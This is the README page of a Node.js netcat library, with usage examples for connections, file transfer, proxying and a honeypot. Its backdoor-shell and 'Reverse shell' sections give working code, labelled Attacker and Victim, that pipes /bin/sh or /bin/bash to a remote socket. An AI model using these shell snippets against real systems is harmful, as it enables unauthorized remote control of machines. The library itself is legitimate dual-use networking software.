Skip to content

roccomuso/netcat

BranchesTags

Repository files navigation

netcat

NPM Version node Dependency Status JavaScript Style Guide Patreon donate button

Netcat client and server modules written in pure Javascript for Node.js.

Fully tested modules that implements all the basic netcat's features. To use as standalone tool install the nc package.

Linux/Mac Windows
Build Status Build status

What you can do 💻

  • TCP & UDP
  • Backdoor (Reverse Shell)
  • Honeypot
  • File transfer
  • Port forwarding
  • Proxy
  • Web Server
  • Port scanning

Enhancement

  • Filter incoming data.
  • Crypto.
  • Authentication (.auth('pass')).
  • allow & deny specific remote IP-address.

Install

$ npm install --save netcat

NPM

Usage

const NetcatServer = require('netcat/server')
const NetcatClient = require('netcat/client')
const nc = new NetcatServer()
const nc2 = new NetcatClient()

Examples

This module's API tends to follow as much as possible the original netcat's cli params.

For instance: nc -l -p 2389 is equivalent to nc.port(2389).listen(). Easy right?

Server and Client connection

Server Client
nc.port(2389).listen() nc2.addr('127.0.0.1').port(2389).connect()

Transfer file

Server Client
nc.port(2389).listen().pipe(outputStream) inputStream.pipe(nc2.port(2389).connect().stream())

or viceversa you can do the equivalent of nc -l -p 2389 < filename.txt and when someone else connects to your port 2389, the file is sent to them whether they wanted it or not:

Server Client
nc.port(2389).serve('filename.txt').listen() nc2.port(2389).connect().pipe(outputStream)

Keepalive connection

Server Client
nc.port(2389).k().listen() inputStream.pipe(nc2.port(2389).connect().stream())

The server will be kept alive and not being closed after the first connection. (k() is an alias for keepalive())

Serve raw buffer

Server Client
nc.port(2389).listen().serve(Buffer.from('Hello World')) nc2.port(2389).connect().on('data', console.log)

Backdoor shell

Server Client
nc.port(2389).listen().exec('/bin/bash') process.stdin.pipe( nc2.addr('127.0.0.1').port(2389).connect().pipe(process.stdout).stream() )

The exec() method execute the given command and pipe together his stdout and stderr with the clients socket.

Reverse shell

Attacker Victim
nc.k().port(2389).listen().serve(process.stdin).pipe(process.stdout) nc2.addr('127.0.0.1').port(2389) .retry(5000).connect().exec('/bin/sh')
  • Upgradable to Meterpreter!

Netcat as a proxy

Netcat can be very easily configured as a proxy server:

var nc = new NetcatServer()
var nc2 = new NetcatClient()
nc2.addr('google.com').port(80).connect()
nc.port(8080).k().listen().proxy(nc2.stream())

All the traffic flowing on localhost:8080 will be redirected to google.com:80. Similarly you can setup a port forwarding using the same host.

Honeypot

Pretend to be an Apache server:

var apache = `HTTP/1.1 200 OK
Date: Sat, 27 May 2017 16:51:02 GMT
Server: Apache/2.4.7 (Ubuntu)
Cache-Control: public, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 16894
Vary: Accept-Encoding
`
var nc = new NetcatServer()
var logFile = fs.createWriteStream('log.txt')
nc.port(80).k().listen().serve(Buffer.from(apache)).pipe(logFile)

Port scanning